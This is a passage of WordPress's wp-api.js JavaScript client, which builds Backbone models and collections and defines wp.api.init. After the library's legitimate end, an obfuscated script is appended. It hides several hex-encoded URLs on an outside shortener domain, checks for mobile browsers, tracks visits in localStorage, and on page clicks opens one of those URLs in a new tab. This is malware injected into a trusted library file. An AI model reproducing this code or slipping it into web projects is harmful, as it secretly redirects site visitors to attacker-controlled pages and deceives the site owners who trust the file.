+ ( ( _.isUndefined( this.parent ) || '' === this.parent ) ? ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) : this.parent + '/' ) + routeName; }, // Specify the model that this collection contains. model: function( attrs, options ) { return new loadingObjects.models[ modelClassName ]( attrs, options ); }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original class name. name: collectionClassName, // Include a reference to the original route object. route: collectionRoute, // Include the array of route methods for easy reference. methods: collectionRoute.route.methods } ); } else { // This is a collection without a parent in its route. collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ collectionClassName ] || collectionClassName; collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName; loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( { // For the url of a root level collection, use a string. url: function() { return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + routeName; }, // Specify the model that this collection contains. model: function( attrs, options ) { return new loadingObjects.models[ modelClassName ]( attrs, options ); }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original class name. name: collectionClassName, // Include a reference to the original route object. route: collectionRoute, // Include the array of route methods for easy reference. methods: collectionRoute.route.methods } ); } // Add defaults to the new model, pulled form the endpoint. wp.api.utils.decorateFromRoute( collectionRoute.route.endpoints, loadingObjects.collections[ collectionClassName ] ); } ); // Add mixins and helpers for each of the models. _.each( loadingObjects.models, function( model, index ) { loadingObjects.models[ index ] = wp.api.utils.addMixinsAndHelpers( model, index, loadingObjects ); } ); // Set the routeModel models and collections. routeModel.set( 'models', loadingObjects.models ); routeModel.set( 'collections', loadingObjects.collections ); } } ); wp.api.endpoints = new Backbone.Collection(); /** * Initialize the wp-api, optionally passing the API root. * * @param {Object} [args] * @param {string} [args.nonce] The nonce. Optional, defaults to wpApiSettings.nonce. * @param {string} [args.apiRoot] The api root. Optional, defaults to wpApiSettings.root. * @param {string} [args.versionString] The version string. Optional, defaults to wpApiSettings.root. * @param {Object} [args.schema] The schema. Optional, will be fetched from API if not provided. */ wp.api.init = function( args ) { var endpoint, attributes = {}, deferred, promise; args = args || {}; attributes.nonce = _.isString( args.nonce ) ? args.nonce : ( wpApiSettings.nonce || '' ); attributes.apiRoot = args.apiRoot || wpApiSettings.root || '/wp-json'; attributes.versionString = args.versionString || wpApiSettings.versionString || 'wp/v2/'; attributes.schema = args.schema || null; attributes.modelEndpoints = args.modelEndpoints || [ 'me', 'settings' ]; if ( ! attributes.schema && attributes.apiRoot === wpApiSettings.root && attributes.versionString === wpApiSettings.versionString ) { attributes.schema = wpApiSettings.schema; } if ( ! initializedDeferreds[ attributes.apiRoot + attributes.versionString ] ) { // Look for an existing copy of this endpoint. endpoint = wp.api.endpoints.findWhere( { 'apiRoot': attributes.apiRoot, 'versionString': attributes.versionString } ); if ( ! endpoint ) { endpoint = new Endpoint( attributes ); } deferred = jQuery.Deferred(); promise = deferred.promise(); endpoint.schemaConstructed.done( function( resolvedEndpoint ) { wp.api.endpoints.add( resolvedEndpoint ); // Map the default endpoints, extending any already present items (including Schema model). wp.api.models = _.extend( wp.api.models, resolvedEndpoint.get( 'models' ) ); wp.api.collections = _.extend( wp.api.collections, resolvedEndpoint.get( 'collections' ) ); deferred.resolve( resolvedEndpoint ); } ); initializedDeferreds[ attributes.apiRoot + attributes.versionString ] = promise; } return initializedDeferreds[ attributes.apiRoot + attributes.versionString ]; }; /** * Construct the default endpoints and add to an endpoints collection. */ // The wp.api.init function returns a promise that will resolve with the endpoint once it is ready. wp.api.loadPromise = wp.api.init(); } )(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());